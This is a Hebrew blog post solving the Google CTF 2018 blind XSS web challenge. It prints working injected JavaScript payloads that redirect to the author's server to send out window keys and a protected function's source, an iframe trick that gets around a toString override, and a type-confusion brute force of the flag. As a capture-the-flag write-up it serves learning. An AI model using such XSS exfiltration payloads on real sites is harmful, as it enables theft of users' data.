ברוכים הבאים לאזור השיעורים והאתגרים הטכנולוגיים של ITsafe

קריאה מהנה

google CTF BlindXSS

במהלך חודש יוני התקיימה תחרות Google CTF ו-10 הקבוצות המובילות טסו ללונדון בחודש שעבר להתחרות בתחרות סגורה של Google CTF Finals.

אני לא השתתפתי בתחרות אך אחד החברים שלי השתתף והוא שלח לי לינק לאחר סיום התחרות. מיד ניסיתי לפתור את אחד מאתגרי ה-Web ה"קלים" שהיו שם.

לדעתי מדובר באחד האתגרים הקשים יותר שיצא לי לפתור, במהלך הפתרון למדתי מספר טכניקות מעניינות וברצוני לשתף אותן אתכם.

לאתגרים: https://gctf-2018.appspot.com/#challenges

האתגר מתחיל כך:
תיאור אתגר ה-blind xss של גוגל
לסרטון המציג את פתרון האתגר:


נלחץ על הלינק ונעבור לאתר הבא:
שדה textarea להזרת קוד blindxss
ניתן לראות שמצאנו Blind XSS באתר אבל אנו לא יודעים מי מריץ אותו, מתי ואיך? המטרה שלנו היא לנצל את הBlindXSS- ולהשיג את ה-flag.

התחלתי את האתגר עם סריקת ה-scope שלי על ידי שימוש ב:

Object.keys(window);

כך בעצם נקבל את כל המשתנים והפונקציות המוגדרות ב-scope שלנו:
location='https://www.gmailtracker.com?aaaaa'+Object.keys(window) הקוד המוזרק
את התוצאה אנו רואים בקובץ ה-access.log של שרת ה-apache2 שלי ב-domain שאני שולט עליו www.gmailtracker.com:
רשימת האובייקטים שחוזרים בצד השרת
אם נבחן את המשתנים מקרוב או נשווה אותם למשתנים ב-scope של אתר כלשהו באינטרנט נראה שהמשתנה enter הוא יוצא מן הכלל.

לכן השלב הבא הוא לצפות בתוכן של המשתנה enter:

location="https://www.gmailtracker.com?aaaaa"%2benter

התוצאה של ביצוע פעולה זו הינה:
תוצאת הרצת הקוד אומרת שלא ניתן לקרוא את קוד המקור
ניתן לראות שקיבלנו את המשפט:

[No source code for you. Not on my watch not in my world]

אפשר להניח שהם מימשו מאחורי הקלעים מנגנון אשר מבצע override לפונקציה toString וכך לא מאפשרים לנו לראות את הקוד של הפונקציה enter:
דריסה של toString על מנת להגן על הפונקציה
אם נכתוב את שם הפונקציה ב-console נראה את התשובה הבאה:
הרצת הפקודה ב-console המראה שלא ניתן לקרוא את הקוד
אם תשימו לב, ניתן לראות שמדובר ברמז אשר מציין שעלינו לפנות לקוד מעולם אחר “Not on my watch not in my world” הכוונה בעולם היא ל-scope כך שעלינו לפנות לקוד הזה מדף אחר.

לשם כך ניתן להשתמש ב-iframe בצורה הבאה:

<iframe srcdoc="<script>parent.output = Function.prototype.toString.call(parent.enter)</script>"></iframe>


ה-iframe הזה יפנה ל-parent.enter ויבצע עליו toString מ-scope אחר ששם אין לנו override ויכניס את התוצאה ל-scope של ה-parent.

הקוד המלא יראה כך:
קריאת הקוד של הפונקציה מ-scope אחר
לאחר הרצת הקוד נפנה ל-output, ונראה שעכשיו אנו יכולים לגשת לקוד של הפונקציה enter ולהוציא את הסיסמא.
התוצאה תיהיה גישה לקוד מה-scope של פונקציית האב
נכתוב קוד שיבצע את אותו הדבר בצורה דינמית וישלח לנו את הקוד לשרת:

payload=(function(){
s=document.createElement('iframe')%3b
s.srcdoc = '<svg/onload="parent.result=Function.prototype.toString.call(parent.enter)">'%3b
document.head.appendChild(s)%3b

setTimeout(function(){
location="https://www.gmailtracker.com/?"%2bresult%3b
},50)%3b
})();











התוצאה של הרצת הקוד תראה כך:
קוד המקור של הפונקציה המוגנת
ניתן לראות שהפונקציה enter מכילה את הלוגיקה הבאה:
הגנה על פונקציית ה-enter
שימו לב שהלולאה מבצעת password.length, ו-password הוא משתנה שאנו מעבירים לפונקציה enter.

אם password הוא טקסט כלשהו אז ה-length הוא אורך הטקסט אבל אם ה-password הוא אובייקט? אז אנחנו יכולים להשתמש באובייקט ולהכניס לו את הערך length ולגרום לtype confusion- בלולאה.

כך שאם נכניס לקוד enter את הסיסמא הבאה:

{length: -1}

לולאת ה-for לא תתקיים כלל והקוד שלנו יתבצע.

כך שאם נתחיל לשנות את ה-length ולהוסיף ערכים ניתן יהיה לבצע bruteforce קל בשיטה הבאה:

אנו יודעים שהדגל מתחיל במילה "}CTF" לכן ברור לנו שארבעת התווים הראשונים הם "}CTF", לכן נשאר לנו לגלות את התו החמישי באמצעות intruder (במקום סימן השאלה כמו בסרטון) וכך אם נשלח את הבקשה הבאה:

payload=(function(){
enter({length: 4, 0:"C", 1:"T", 2:"F", 3:"{", 4:"?"}, 'location="https://www.gmailtracker.com/?"%2b"CTF{?"')%3b
})();




נקבל שהתו הראשון של ה-flag הינו האות 'D'
שליפת האות הראשונה באמצעות burte force
ה-payload הסופי נראה כך:

payload=(function(){
enter({length: 22, 0:"C",1:"T", 2:"F", 3:"{", 4: 'D', 5: '3', 6: 'F', 7: '3', 8: 'n', 9: 's', 10: 'i', 11: 'V', 12: '3', 13: '_', 14: 'J', 15: 'S', 16: '_', 17: '4', 18: 'E', 19: 'v', 20: '3', 21: 'r', 22: '}'}, 'location="https://www.gmailtracker.com/?"%2b"CTF{D3F3nsiV3_JS_4Ev3r}"')%3b
})();




מה שייתן לנו את הסיסמא הבאה:
ה-flag המלא הינו D3F3nsiV3_JS_4Ev3r
אני למדתי המון במהלך פתרון האתגר הזה מקווה שגם אתם 😊

Share this post